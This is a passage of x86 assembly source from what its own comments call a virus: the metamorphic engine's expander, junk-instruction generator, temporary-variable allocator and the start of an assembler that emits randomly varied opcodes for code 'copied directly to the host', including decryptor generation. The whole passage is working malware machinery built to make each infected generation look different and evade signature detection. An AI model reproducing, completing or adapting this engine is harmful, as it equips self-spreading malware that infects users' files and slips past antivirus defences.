cmp eax, 73h ; JAE?
jz @@Double_JAE
cmp eax, 75h ; JNZ?
jz @@Double_JNZ
cmp eax, 76h ; JBE?
jnz @@Single
@@Double_JBE:
mov ebx, 72h ; If JBE, we can select any pair from
mov ecx, 74h ; the set JB,JZ,JBE and we'll making a JBE
mov edx, 76h
jmp @@Double_GarbleAndSelect
@@Double_JNZ:
mov ebx, 72h ; If JNZ, we can select a pair from the
mov ecx, 75h ; set JB,JNZ,JA
mov edx, 77h
jmp @@Double_GarbleAndSelect
@@Double_JAE:
mov ebx, 73h ; If JAE, the set to select is JAE,JZ,JA
mov ecx, 74h
mov edx, 77h
@@Double_GarbleAndSelect:
call Xp_GarbleRegisters ; Get ramdomly two from that set.
call Xp_SaveOperation
push ecx
mov [ebp+Xp_Operation], edx ; Generate the first Jcc
call @@InternalSingle
pop ecx
mov [ebp+Xp_Operation], ecx ; Generate the second Jcc
call @@InternalSingle
jmp Xp_RestoreOpAndDecreaseRecurseLevel
@@Single: call @@InternalSingle ; Make it single
jmp Xp_DecreaseRecurseLevel
Xp_GenJcc_SingleJcc:
@@InternalSingle:
xor eax, eax ; For singles, we mark the Jcc as
mov [edi+7], eax ; not being NEG_Jcc/JMP
@@InternalSingle2:
mov eax, [ebp+Xp_Operation] ; Code the instruction
mov [edi], eax
mov eax, [ebp+Xp_Immediate]
mov [edi+1], eax
add edi, 10h
ret
Xp_GenJcc endp
;; This function is to generate a MOVZX. We have three variants: the MOVZX
;; itself, MOV Reg,[Mem]/AND Reg,0FF or MOV Reg,0/MOV Reg8,[Mem]
Xp_GenMOVZX proc
call Xp_IncreaseRecurseLevel
cmp eax, 3
jae @@Single
call RandomBoolean ; Single?
or eax, eax
jz @@Single ; Then, jump
call RandomBoolean
or eax, eax
jz @@Double_1 ; Pair 1 or pair 2?
@@Double_2:
xor eax, eax ; First construct the MOV Reg,[Mem]
mov [ebp+Xp_8Bits], eax
mov eax, 40h
mov [ebp+Xp_Operation], eax
call Xp_GenOPRegMem ; Generate the operation
xor eax, eax ; And now make AND Reg,0FFh
mov [ebp+Xp_8Bits], eax
mov eax, 20h
mov [ebp+Xp_Operation], eax
mov eax, 0FFh
mov [ebp+Xp_Immediate], eax
call Xp_GenOPRegImm ; Generate the operation
jmp Xp_DecreaseRecurseLevel
@@Double_1:
mov eax, [ebp+Register8Bits]
call Xpand_TranslateRegister
mov ebx, [ebp+Xp_Register]
cmp eax, ebx
jnz @@Double_2
mov eax, 40h ; Make first a MOV Reg,0
mov [ebp+Xp_Operation], eax
xor eax, eax
mov [ebp+Xp_Immediate], eax
mov [ebp+Xp_8Bits], eax
call Xp_GenOPRegImm
mov eax, 80h ; And now make a MOV Reg8,[Mem]
mov [ebp+Xp_8Bits], eax
call Xp_GenOPRegMem
jmp Xp_DecreaseRecurseLevel
@@Single:
mov eax, 0F8h ; Code directly the instruction.
mov [edi], eax
call Xp_CopyMemoryReference
mov eax, [ebp+Xp_Register]
mov [edi+7], eax
add edi, 10h
jmp Xp_DecreaseRecurseLevel
Xp_GenMOVZX endp
;; Function to make the SET_WEIGHT code mark.
Xp_MakeSET_WEIGHT proc
call Xp_SaveOperation
mov eax, [ebp+Xp_SrcRegister]
mov [ebp+Xp_Register], eax
call Xp_GenPUSHReg
mov eax, 40h
mov [ebp+Xp_Operation], eax
call Xp_GenOPRegImm
call Xp_RestoreOperation
mov eax, [ebp+Xp_Immediate]
or eax, eax
jz @@ReadWeightIdent0
cmp eax, 1
jz @@ReadWeightIdent1
cmp eax, 2
jz @@ReadWeightIdent2
cmp eax, 3
jz @@ReadWeightIdent3
cmp eax, 4
jz @@ReadWeightIdent4
@@ReadWeightIdent5:
mov eax, [ebp+Weight_X020_23]
jmp @@SetWeight
@@ReadWeightIdent0:
mov eax, [ebp+Weight_X000_3]
jmp @@SetWeight
@@ReadWeightIdent1:
mov eax, [ebp+Weight_X004_7]
jmp @@SetWeight
@@ReadWeightIdent2:
mov eax, [ebp+Weight_X008_11]
jmp @@SetWeight
@@ReadWeightIdent3:
mov eax, [ebp+Weight_X012_15]
jmp @@SetWeight
@@ReadWeightIdent4:
mov eax, [ebp+Weight_X016_19]
@@SetWeight:
mov [ebp+Xp_Immediate], eax
mov eax, 40h
mov [ebp+Xp_Operation], eax
call Xp_GenOPRegImm
call Xp_GenOPMemReg
mov eax, [ebp+Xp_SrcRegister]
mov [ebp+Xp_Register], eax
call Xp_GenPOPReg
ret
Xp_MakeSET_WEIGHT endp
;;; ------------------------------------------------
;;;
;; Now these are helper functions. They are used from other parts of the
;; engine, not only by the expander.
;; This function is an optimization of how we cam make in little code a
;; permutation of three registers in a way that every possible combination
;; is present, and moreover all them have the same probability of appear.
;; The theory is that there are 6 possible permutations for a set of three
;; values (in this case EBX, ECX and EDX). Then, following the code, you'll
;; see that the permutation is made by:
;;
;; 1) Randomly decide if goto 3)
;; 2) Exchange 1st and 2nd OR Exchange 1st and 3rd (always)
;; 3) Decide if we exchange 2nd and 3rd. Do it or not.
Xp_GarbleRegisters proc
call Random
and eax, 3
or eax, eax
jz Xp_GarbleRegisters
cmp eax, 1
jz @@Permutation0
cmp eax, 2
jz @@Permutation1
@@Permutation2:
mov eax, ebx
mov ebx, edx
mov edx, eax ; XCHG EBX,EDX
jmp @@Permutation0
@@Permutation1:
mov eax, ebx
mov ebx, ecx
mov ecx, eax ; XCHG EBX,ECX
@@Permutation0:
call RandomBoolean
or eax, eax
jz @@Return
@@Permutation0_0:
mov eax, edx
mov edx, ecx
mov ecx, eax ; XCHG ECX,EDX
@@Return: ret
Xp_GarbleRegisters endp
;; Get an special conditional jump. The jump obtained here is specially
;; selected to be used for CMP Reg,Reg/Jcc @x pairs. The direct result from
;; this instruction will make that the conditional jump never occurs, while
;; if we inverse the bit 0 of the Jcc returned we'll make that the Jcc
;; always jump.
;; The algorithm here is a hard optimization to select one of that types of
;; jumps. The jumps that act like a NOP are JO/JB/JNZ/JA/JS/JNP/JL/JG, while
;; the ones that always jump are JNO/JAE/JZ/JBE/JNS/JP/JGE/JLE. We are going
;; to use only the NOP ones. The opcodes in number are:
;;
;; 70,72,75,77,78,7B,7C,7F
;;
;; So these are the only values we can return. We pass them to binary (only
;; the low nibble):
;;
;; 0000,0010,0101,0111,1000,1011,1100,1111
;;
;; And we see that the values are repeated in a certain way. Let's join them
;; in groups:
;; 0000 1000 0 00 0 1 00 0
;; 0010 1011 0 01 0 1 01 1
;; 0101 1100 --> 0 10 1 1 10 0
;; 0111 1111 0 11 1 1 11 1
;;
;; The numbers are the same, excepting by the high bit and the low one.
;; Now, just notice that when the high bit is clear the lowest bit is the
;; same than the bit 2, and when the high bit is set the lowest bit is equal
;; to the bit 1. Then, what we do is to copy the bit 2 or 1 to the bit 0
;; depending if bit 3 is 0 or 1. Just what we do below.
Xp_GetSpecialJcc proc
push ebx
call Random
mov ebx, eax ; Copy the random in EBX
and eax, 0Eh ; Get a random number from 00 to 0E (even)
cmp eax, 8 ; High bit active?
jae @@Next ; Then only shift EBX once
shr ebx, 1
@@Next: shr ebx, 1
and ebx, 1 ; Get the resulting last bit
add eax, ebx ; Add it to the random from 00 to 0E
add eax, 70h ; Convert it to Jcc
pop ebx
ret
Xp_GetSpecialJcc endp
;; This function will take the operation to perform (in an OP Reg/Mem,Imm
;; operation) and will calculate a pair of operation that do the same with
;; a new Imm value for each one. The MOV has the most variated results, and
;; there are others that can't be decomposed, such SUB.
;; The decomposition is done in the following way for every case. I had to
;; deduce each formula (concretely for OR and AND) from scratch, so maybe
;; there are others better, but I didn't find them. Maybe the formulas
;; below aren't correct: that's because I coded it, optimize it, and I didn't
;; remember to write down the process, so I have to re-deduce them :).
;;
;; Taking Rnd1, Rnd2 as random numbers, and Imm as the destiny value:
;; MOV:
;; MOV Rnd1, ADD Imm-Rnd1
;; MOV Rnd1&Imm, OR ((Rnd2 & Imm)^(Rnd1 & Imm))|(Rnd2 & Imm)
;; MOV (Rnd2 & NOT(Rnd1))|Imm, AND (Rnd1 | Imm) (1)
;; MOV NOT(Rnd1)|Imm, AND Rnd1|Imm (2)
;; MOV Rnd1, XOR Rnd1^Imm
;;
;; ADD:
;; ADD Rnd1, ADD Imm-Rnd1
;; OR:
;; OR Rnd1&Imm, OR ((Rnd1&Imm)^Imm)|(Imm&Rnd2)
;; AND:
;; AND Imm|Rnd1, AND Imm|NOT(Rnd1)
;; XOR:
;; XOR Rnd1, XOR Imm^Rnd1
;;
Xp_MakeComposedOPImm proc
call Xp_SaveOperation
call Random
mov ebx, eax ; Get a random number in EBX
mov edx, [ebp+Xp_Immediate] ; Get the Imm in EDX
mov eax, [ebp+Xp_Operation] ; Get the operation
or eax, eax
jz @@Double_OP_ADD ; ADD?
cmp eax, 8
jz @@Double_OP_OR ; OR?
cmp eax, 20h
jz @@Double_OP_AND ; AND?
cmp eax, 30h
jz @@Double_OP_XOR ; XOR?
cmp eax, 40h
jnz @@Return_Error
@@Double_OP_MOV: ; MOV?
call Random
and eax, 7
or eax, eax
jz @@Double_OP_MOV_ADD ; MOV + ADD
cmp eax, 1
jz @@Double_OP_MOV_OR ; MOV + OR
cmp eax, 2
jz @@Double_OP_MOV_AND ; MOV + AND
cmp eax, 3
jz @@Double_OP_MOV_XOR ; MOV + XOR
cmp eax, 4
jnz @@Double_OP_MOV ; MOV only
@@Double_OP_MOV_MOV:
mov eax, [ebp+Xp_FlagRegOrMem]
or eax, eax
jz @@Double_OP_MOV_MOV_MakeReg
call Xp_GenOPMemImm
jmp @@Return_NoError
@@Double_OP_MOV_MOV_MakeReg:
call Xp_GenOPRegImm
jmp @@Return_NoError
@@Double_OP_MOV_ADD: ; Calculate the two Imms for
sub edx, ebx ; MOV + ADD
xor ecx, ecx
jmp @@Double_OP_MOV_OP
@@Double_OP_MOV_OR:
and ebx, edx ; Calculate the two Imms for
call Random ; MOV + OR
and eax, edx
xor edx, ebx
or edx, eax
mov ecx, 8
jmp @@Double_OP_MOV_OP
@@Double_OP_MOV_AND:
call RandomBoolean ; Calculate the two Imms for
or eax, eax ; MOV + AND (two different
jz @@Double_OP_MOV_AND_2 ; methods)
call Random
not ebx
and eax, ebx
not ebx
mov ecx, eax
or ecx, edx
or edx, ebx
mov ebx, ecx
mov ecx, 20h
jmp @@Double_OP_MOV_OP
@@Double_OP_MOV_AND_2:
mov ecx, ebx
not ecx
or ecx, edx
or edx, ebx
mov ebx, ecx
mov ecx, 20h
jmp @@Double_OP_MOV_OP
@@Double_OP_MOV_XOR: ; Calculate the two Imms for XOR
xor edx, ebx
mov ecx, 30h
@@Double_OP_MOV_OP: ; Make the two instructions:
push ecx
push edx
mov eax, 40h ; Generate a MOV Reg/Mem,Imm1
mov [ebp+Xp_Operation], eax
mov [ebp+Xp_Immediate], ebx
mov eax, [ebp+Xp_FlagRegOrMem]
or eax, eax
jz @@Double_OP_MOV_OP_MakeReg
call Xp_GenOPMemImm
pop edx
pop ecx ; Generate an OP Mem,Imm2
mov [ebp+Xp_Operation], ecx
mov [ebp+Xp_Immediate], edx
call Xp_GenOPMemImm
jmp @@Return_NoError
@@Double_OP_MOV_OP_MakeReg:
call Xp_GenOPRegImm
pop edx ; Generate an OP Reg,Imm2
pop ecx
mov [ebp+Xp_Operation], ecx
mov [ebp+Xp_Immediate], edx
call Xp_GenOPRegImm
jmp @@Return_NoError
@@Double_OP_ADD:
sub edx, ebx ; Calculate the 2nd Imm for ADD
jmp @@Double_OP_OP
@@Double_OP_OR:
and ebx, edx ; Calculate the two Imms for OR+OR
mov ecx, edx
xor edx, ebx
call Random
and ecx, eax
or edx, ecx
jmp @@Double_OP_OP
@@Double_OP_AND:
mov ecx, ebx ; Calculate the two Imms for AND+AND
or ebx, edx
not ecx
or edx, ecx
jmp @@Double_OP_OP
@@Double_OP_XOR:
xor edx, ebx ; Calculate the two Imms for XOR+XOR
@@Double_OP_OP:
push edx ; Make OP Mem/Reg,Imm1 + OP Mem/Reg,Imm2
mov [ebp+Xp_Immediate], ebx
mov eax, [ebp+Xp_FlagRegOrMem]
or eax, eax
jz @@Double_OP_OP_MakeReg
call Xp_GenOPMemImm ; Make OP Mem,Imm1
pop edx
mov [ebp+Xp_Immediate], edx
call Xp_GenOPMemImm ; Make OP Mem,Imm2
jmp @@Return_NoError
@@Double_OP_OP_MakeReg:
call Xp_GenOPRegImm ; Make OP Reg,Imm1
pop edx
mov [ebp+Xp_Immediate], edx
call Xp_GenOPRegImm ; Make OP Reg,Imm2
@@Return_NoError:
call Xp_RestoreOperation
xor eax, eax
ret
@@Return_Error:
call Xp_RestoreOperation
mov eax, 1
ret
Xp_MakeComposedOPImm endp
;; This function increases the recursivity level and returns the result in
;; EAX (as a side level :).
Xp_IncreaseRecurseLevel proc
mov eax, [ebp+Xp_RecurseLevel]
add eax, 1
mov [ebp+Xp_RecurseLevel], eax
ret
Xp_IncreaseRecurseLevel endp
;; This function restores the previous saved operation and decreases the
;; recursivity level previously increased.
Xp_RestoreOpAndDecreaseRecurseLevel proc
call Xp_RestoreOperation
Xp_RestoreOpAndDecreaseRecurseLevel endp ; No return! Continue directly
; to the next function
;; This is an entrypoint for decreasing only the recursivity level (with no
;; function restoration).
Xp_DecreaseRecurseLevel proc
mov eax, [ebp+Xp_RecurseLevel]
sub eax, 1
mov [ebp+Xp_RecurseLevel], eax
ret
Xp_DecreaseRecurseLevel endp
;; This code copies the indexes and the addition of the current used memory
;; address to the appropiated fields of the current instruction at <EDI>.
Xp_CopyMemoryReference proc
mov eax, [ebp+Xp_Mem_Index1]
mov [edi+1], eax
mov eax, [ebp+Xp_Mem_Index2]
mov [edi+2], eax
mov eax, [ebp+Xp_Mem_Addition]
mov [edi+3], eax
ret
Xp_CopyMemoryReference endp
;; Function to save the current operation into the stack
Xp_SaveOperation proc
pop ebx ; Return address
mov eax, [ebp+Xp_Operation]
push eax ; Save all the values of
mov eax, [ebp+Xp_Mem_Index1] ; the current operation
push eax
mov eax, [ebp+Xp_Mem_Index2]
push eax
mov eax, [ebp+Xp_Mem_Addition]
push eax
mov eax, [ebp+Xp_Register]
push eax
mov eax, [ebp+Xp_SrcRegister]
push eax
mov eax, [ebp+Xp_Immediate]
push eax
mov eax, [ebp+Xp_8Bits]
push eax
push ebx ; Push again the return address
ret
Xp_SaveOperation endp
;; Function to restore the current operation from the stack
Xp_RestoreOperation proc
pop ebx ; Return address
pop eax
mov [ebp+Xp_8Bits], eax
pop eax ; Restore all the values
mov [ebp+Xp_Immediate], eax ; previously stored in the
pop eax ; stack
mov [ebp+Xp_SrcRegister], eax
pop eax
mov [ebp+Xp_Register], eax
pop eax
mov [ebp+Xp_Mem_Addition], eax
pop eax
mov [ebp+Xp_Mem_Index2], eax
pop eax
mov [ebp+Xp_Mem_Index1], eax
pop eax
mov [ebp+Xp_Operation], eax
push ebx
ret
Xp_RestoreOperation endp
;; Allocate a temporary variable. The variable is marked in the memory section
;; dedicated to that marks, to avoid its reusing. Since we have a data section
;; of 128 Kb, we have 16384 temporary variables to use (more than sufficient
;; for this virus). If what we are doing is expanding a decryptor code, then
;; we only use the first 4 Kb of the memory frame (the memory that we'll have
;; available in the host).
Xp_GetTempVar proc
push edx
call Random
mov edx, eax ; Get a random number
@@VariableCheck:
and edx, 1FFF8h ; Mask the value
mov eax, [ebp+CreatingADecryptor]
or eax, eax ; If we are making a decryptor, then
jz @@Normal1 ; we only get variables from the
and edx, 00FF8h ; first 4 Kb and avoiding the first
cmp edx, 20h ; 32 bytes (used by the decryptor
jb @@Add20 ; for making its operations) and the
cmp edx, 0F00h ; last 100h bytes (a random offset
jb @@Normal1 ; that we set at decryptor creation)
xor edx, edx
@@Add20: add edx, 20h
@@Normal1: add edx, [ebp+VarMarksTable]
mov eax, [edx] ; Look if it's already marked.
or eax, eax ; If it is, Get the next one and
jz @@VariableFound ; look again.
sub edx, [ebp+VarMarksTable]
add edx, 8
jmp @@VariableCheck
@@VariableFound: ; When we find an unallocated one,
mov eax, 1 ; we mark it.
mov [edx], eax
sub edx, [ebp+VarMarksTable]
call Random ; Now we get an internal random
and eax, 3 ; offset from 0 to 3 and we add it
add edx, eax ; to the address.
mov eax, [ebp+CreatingADecryptor]
or eax, eax
jz @@Normal2 ; If we are making a decryptor, we
add edx, [ebp+Decryptor_DATA_SECTION] ; set no_reg as
mov [ebp+Xp_Mem_Addition], edx ; index register.
mov eax, 8 ; If not, we translate
jmp @@Continue ; the delta register and
@@Normal2: add edx, [ebp+New_DATA_SECTION] ; we set it, so the var
mov [ebp+Xp_Mem_Addition], edx ; is [DLT_REG+xxx]
mov eax, [ebp+DeltaRegister]
call Xpand_TranslateRegister
@@Continue: mov [ebp+Xp_Mem_Index1], eax ; Set the index1 register
mov eax, 8
mov [ebp+Xp_Mem_Index2], eax ; Set the index2 as <no_reg>
pop edx
ret
Xp_GetTempVar endp
;; This function generates garbage instructions that will be eliminated by the
;; shrinker. They are compressed to NOPs.
Xp_InsertGarbage proc
call Random
and eax, 7 ; Get a random method
or eax, eax
jz @@MakeOneByter ; Make a one byte instruction
cmp eax, 1
jz @@MakeMOVRegReg ; Make MOV Reg,Reg (the same reg)
cmp eax, 2
jz @@MakeANDs1 ; Make AND Reg,-1
cmp eax, 3
jz @@MakeOR0 ; Make OR Reg,0
cmp eax, 4
jz @@MakeXOR0 ; Make XOR Reg,0
cmp eax, 5
jz @@MakeADD0 ; Make ADD Reg,0
cmp eax, 6
jz @@MakeCMPJcc ; Make CMP Reg,Reg/Jcc (Jcc never
; jumps)
jmp Xp_InsertGarbage ; Select another if 7
@@MakeADD0:
xor eax, eax ; Set the operation ADD
mov [ebp+Xp_Operation], eax
@@MakeOP0:
xor eax, eax ; Imm = 0
mov [ebp+Xp_Immediate], eax
@@MakeOPx:
xor eax, eax ; Set 0 at the field of labels
mov [edi+0Bh], eax
mov [edi+0Ch], esi ; Set the instruction pointer
xor eax, eax
mov [ebp+Xp_8Bits], eax ; Set "32 bits"
@@MakeOPReg0:
call Random ; Get a random register. It must not
and eax, 7 ; be ESP nor the delta register
cmp eax, 4
jz @@MakeOPReg0
cmp eax, [ebp+TranslatedDeltaRegister]
jz @@MakeOPReg0
mov [ebp+Xp_Register], eax ; Set the register and make
call Xp_GenOPRegImm ; the operation
ret
@@MakeOR0:
mov eax, 8 ; Set operation OR
mov [ebp+Xp_Operation], eax
jmp @@MakeOP0
@@MakeXOR0:
mov eax, 30h ; Set operation XOR
mov [ebp+Xp_Operation], eax
jmp @@MakeOP0
@@MakeANDs1:
mov eax, 20h ; Set operation AND
mov [ebp+Xp_Operation], eax
mov eax, -1 ; Set -1 as Immediate
mov [ebp+Xp_Immediate], eax
jmp @@MakeOPx
@@MakeCMPJcc:
call Random ; Get a register to compare
and eax, 7 ; If ESP or delta, we jump to make
cmp eax, 4 ; other type of garbage. It's better
jz @@MakeADD0 ; to not use this much, because then
cmp eax, [ebp+TranslatedDeltaRegister] ; the code uses too
jz @@MakeADD0 ; many jumps in future generations (in
; the third dimension :).
mov [ebp+Xp_Register], eax ; Set the same register as
mov [ebp+Xp_SrcRegister], eax ; source and destiny
xor eax, eax
mov [ebp+Xp_8Bits], eax ; Set 32 bits size
mov [edi+0Bh], eax ; Clear the label flag and set
mov [edi+0Ch], esi ; the pointer
mov eax, 38h ; CMP Reg,Reg
mov [ebp+Xp_Operation], eax
call Xp_GenOPRegReg ; Generate the operation
call Xp_GetSpecialJcc ; Get a special Jcc that never
mov [ebp+Xp_Operation], eax ; jumps
@@OtherLabel:
call Random ; Get a random label from the
and eax, 01F8h ; list of labels
cmp eax, [ebp+NumberOfLabels]
jae @@OtherLabel
add eax, [ebp+LabelTable] ; Make it jump there (in theory)
mov [ebp+Xp_Immediate], eax
call Xp_GenJcc_SingleJcc ; Generate a single Jcc
ret
@@MakeMOVRegReg:
call Random ; Get a random register
and eax, 7
cmp eax, 4
jz @@MakeMOVRegReg
cmp eax, [ebp+TranslatedDeltaRegister]
jz @@MakeMOVRegReg
mov [ebp+Xp_Register], eax ; Set it as source & dest.
mov [ebp+Xp_SrcRegister], eax
xor eax, eax
mov [ebp+Xp_8Bits], eax ; Set 32 bits size
mov [edi+0Bh], eax
mov [edi+0Ch], esi ; Clear label and set pointer
mov eax, 40h
mov [ebp+Xp_Operation], eax ; Make MOV Reg,Reg
call Xp_GenOPRegReg
ret
@@MakeOneByter:
call RandomBoolean ; Get random TRUE or FALSE
or eax, eax
jz @@OnlyNOP ; If FALSE, make a NOP
call Random
and eax, 0100h ; Get CLC or STC
add eax, 0F8FDh ; Set the instruction as a direct
jmp @@OtherOneByter ; byte
@@OnlyNOP: mov eax, 90FDh ; Set NOP
@@OtherOneByter:
mov [edi], eax ; Set the instruction
xor eax, eax
mov [edi+0Bh], eax ; Clear the "label-on" flag
mov [edi+0Ch], esi ; Set the pointer
add edi, 10h
call Random ; Select if we make again other
and eax, 0Fh ; random byte (a prob. of 1/16)
or eax, eax
jz @@MakeOneByter
ret
Xp_InsertGarbage endp
;;
;;
;; End of the expander
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;KEYWORD: Key_!Assembler
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; ********************************************************************** ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; The assembler
;; -------------
;;
;; This code will convert from our reassembler directly into 80x86 opcodes.
;;
;; The assembly is done directly, I mean, this function doesn't add more
;; instructions randomly, since that work must be done by the expander. The
;; only random operations this code does is at opcode level.
;;
;; The generated code is completely prepared to be copied directly to the
;; host. All the instructions using relative displacements are fixed and
;; assembled to randomly their short or long form (when it's possible to use
;; a short jump). The reassembly also supports foward references.
;;
AssembleCode proc
xor eax, eax
mov [ebp+NumberOfJumpRelocations], eax ; Initialize the
; after-assembly jump relocations
mov esi, [ebp+InstructionTable]
mov edi, [ebp+NewAssembledCode]
;; Mark all labels in instructions
mov ecx, [ebp+NumberOfLabels] ; Let's mark all the
mov edx, [ebp+LabelTable] ; instructions that has
@@LoopSetLabel: ; a label, just in case
mov ebx, [edx+4] ; someone hasn't been
mov eax, [ebx+0Bh] ; marked before.
or eax, 01h
mov [ebx+0Bh], eax
add edx, 8
dec ecx
or ecx, ecx
jnz @@LoopSetLabel
@@LoopAssemble_01:
mov eax, [esi+0Bh] ; Get the label mark
and eax, 0FFh ; If it has a label, let's set it
cmp eax, 1
jnz @@Assemble_Instruction
mov eax, [ebp+NumberOfLabels] ; Get the label table
mov edx, [ebp+LabelTable]
@@LoopCheckLabel:
cmp [edx+4], esi ; Search the label. When we find
jnz @@CheckNextLabel ; it, we set the current assembly
mov [edx], edi ; EIP.
@@CheckNextLabel:
add edx, 8 ; Next
dec eax
or eax, eax
jnz @@LoopCheckLabel
@@Assemble_Instruction:
call AssembleInstruction ; Assemble the instruction
add esi, 10h ; Increase pseudoassembler pointer
mov eax, [ebp+AddressOfLastInstruction]
cmp esi, eax ; Is it the last instruction?
jb @@LoopAssemble_01 ; If not, loop again
mov [ebp+AddressOfLastInstruction], edi ; Set the last
; instruction
mov eax, edi
sub eax, [ebp+NewAssembledCode] ; Get the size of the code
mov [ebp+SizeOfNewCode], eax
add eax, 20h ; Set a mini data frame for some
; possibilities of the decryptor
mov ebx, 0F000h ; Let's get the rounded size of the
@@LoopGetRoundedSize: ; code (rounded up to 4 Kb), with a
add ebx, 1000h ; minimum value of F000
cmp ebx, eax
jb @@LoopGetRoundedSize
mov [ebp+RoundedSizeOfNewCode], ebx
mov eax, 4000h ; Get the size of the code rounded up
@@LoopGetSizeP2: ; to the next power of 2 (for the
shl eax, 1 ; Pseudo-Random Index DEcryption)
cmp eax, [ebp+SizeOfNewCode]
jb @@LoopGetSizeP2
mov [ebp+SizeOfNewCodeP2], eax
;; Now we are going to complete the jumps that we left until the whole
;; code is assembled.
mov esi, [ebp+JumpRelocationTable]
mov ecx, [ebp+NumberOfJumpRelocations]
@@LoopReloc01:
mov edi, [esi] ; Get the jump and the address
mov eax, [esi+4]
mov eax, [eax] ; Get the destiny of the jump
mov edx, edi ; Get the final address of the jump in
add edx, 5 ; EDX
sub eax, edx ; Get the displacement
mov ebx, [edi] ; Get the type of jump
and ebx, 0FFh
cmp ebx, 7Fh ; Is it a short jump?
jbe @@Short
cmp ebx, 0EBh ; " " " " "?
jz @@Short
mov [edi+1], eax ; Set the displacement for long jumps,
@@Next: sub ecx, 8 ; CALLs, etc.
add esi, 8 ; Check next
or ecx, ecx
jnz @@LoopReloc01
ret
@@Short: add eax, 3 ; Add 3 bytes of displacement (from a
; length of 5 to a length of 2)
mov [edi+1], al ; Set the displacement
jmp @@Next ; Next jump
AssembleCode endp
;; This function assembles the instruction under the pointer in ESI to the
;; buffer in EDI.
AssembleInstruction proc
mov [esi+0Ch], edi ; Set the new address of assembled code
mov eax, [esi]
and eax, 0FFh ; Get the pseudoopcode
cmp eax, 4Ch ; Generic operation?
ja @@Assemble_Next00 ; If not, check next possibility
mov ebx, eax
and ebx, 0F8h
and eax, 7 ; Get the type of operation
or eax, eax ; OP Reg,Imm?
jz @@Assemble_OPRegImm
cmp eax, 1 ; OP Reg,Reg?
jz @@Assemble_OPRegReg
cmp eax, 2 ; OP Reg,Mem?
jz @@Assemble_OPRegMem
cmp eax, 3 ; OP Mem,Reg?
jz @@Assemble_OPMemReg
@@Assemble_OPMemImm: ; OP Mem,Imm
cmp ebx, 38h ; If it's 38h or below, code
jbe @@Assemble_OPMemImm_Normal ; it normally
cmp ebx, 40h ; MOV?
jz @@Assemble_MOVMemImm
@@Assemble_TESTMemImm: ; TEST
xor ebx, ebx
mov eax, 0F7h ; Set the x86 opcode F7
jmp @@Assemble_OPMemImm_Normal_00
@@Assemble_MOVMemImm:
xor ebx, ebx ; Set the x86 opcode C7
mov eax, 0C7h
jmp @@Assemble_OPMemImm_Normal_00
@@Assemble_OPMemImm_Normal:
mov eax, [esi+7] ; Get the value
cmp eax, 7Fh ; Look if we can code it
jbe @@Assemble_OPMemImm_Normal_Byte ; as sign-extended
cmp eax, 0FFFFFF80h
jae @@Assemble_OPMemImm_Normal_Byte
@@Assemble_OPMemImm_Normal_Dword:
mov eax, 81h ; Normal opcode
@@Assemble_OPMemImm_Normal_00:
mov [edi], eax ; Set the opcode
add edi, 1 ; Make the memory address reference
call Asm_MakeMemoryAddress ; adding the value in EBX
mov eax, [esi+7] ; Set the value to OP
mov [edi], eax
add edi, 4 ; Increase the EIP
ret ; Return
@@Assemble_OPMemImm_Normal_Byte:
call RandomBoolean
or eax, eax ; Randomly choose if we code it
jz @@Assemble_OPMemImm_Normal_Dword ; as dword or sign-ext.
mov eax, 83h ; Set the opcode 83h
mov [edi], eax
add edi, 1 ; Construct the memory address
call Asm_MakeMemoryAddress ; reference.
mov eax, [esi+7] ; Get the immediate to set
mov [edi], eax
add edi, 1 ; Set only a byte
ret ; Return
@@Assemble_OPRegImm:
cmp ebx, 38h ; If it's a normal OP, jump
jbe @@Assemble_OPRegImm_Normal
cmp ebx, 40h ; MOV?
jz @@Assemble_MOVRegImm
@@Assemble_TESTRegImm: ; TEST
mov eax, [esi+1] ; Get the register
and eax, 7
or eax, eax ; If Reg=EAX, we can code it
jnz @@Assemble_TESTRegImm_NotEAX ; with its own opcode,
call RandomBoolean ; so select randomly if we do it
or eax, eax
jz @@Assemble_TESTRegImm_NotEAX ; Jump if we don't do it
mov eax, 0A9h ; Set TEST EAX,xxx
jmp @@Assemble_OPRegImm_OneByteOpcode
@@Assemble_TESTRegImm_NotEAX:
mov eax, 0F7h ; Set TEST Reg,xxx
xor ebx, ebx
jmp @@Assemble_OPRegImm_Normal_01
; MOV
@@Assemble_MOVRegImm:
call RandomBoolean ; Get a random TRUE or FALSE
or eax, eax ; If FALSE, code it with a one
jz @@Assemble_MOVRegImm_OneByteOpcode ; byte opcode
mov eax, 0C7h ; Get the two bytes opcode
xor ebx, ebx
jmp @@Assemble_OPRegImm_Normal_01
@@Assemble_MOVRegImm_OneByteOpcode:
mov eax, [esi+1] ; Get the register
add eax, 0B8h ; Add B8h to it to get the MOV
jmp @@Assemble_OPRegImm_OneByteOpcode ; Jump to finish
@@Assemble_OPRegImm_Normal:
mov eax, [esi+1] ; Get the register
and eax, 7 ; Is it EAX?
or eax, eax
jnz @@Assemble_OPRegImm_Normal_00 ; If it isn't jump
call RandomBoolean ; Select randomly to code a
or eax, eax ; exclusive EAX opcode or not
jz @@Assemble_OPRegImm_Normal_00 ; If not, jump
mov eax, ebx ; Add 5 to the generic opcode
add eax, 5 ; to get an OP EAX,xxx
@@Assemble_OPRegImm_OneByteOpcode:
mov [edi], eax ; Store the opcode
mov eax, [esi+7]
mov [edi+1], eax ; Store the immediate
add edi, 5
ret
@@Assemble_OPRegImm_Normal_00: ; 81h = normal OP Reg,Imm opcode
mov eax, 81h
@@Assemble_OPRegImm_Normal_01:
mov [edi], eax ; Set the opcode
mov eax, [esi+1] ; Set the "use register"
and eax, 7 ; flag (the bits 7&6 on
add eax, 0C0h ; the second opcode set to
add eax, ebx ; 1)
mov [edi+1], eax
mov eax, [esi+7] ; Get the immediate and set it
mov [edi+2], eax
add edi, 6 ; Add the length of the just coded
ret ; instruction to the EIP
@@Assemble_OPRegReg: ; Check if the operation is normal
cmp ebx, 38h
jbe @@Assemble_OPRegReg_Normal ; If it is, jump
cmp ebx, 40h ; MOV?
jz @@Assemble_MOVRegReg
@@Assemble_TESTRegReg: ; TEST
mov ebx, 85h ; Opcode of TEST
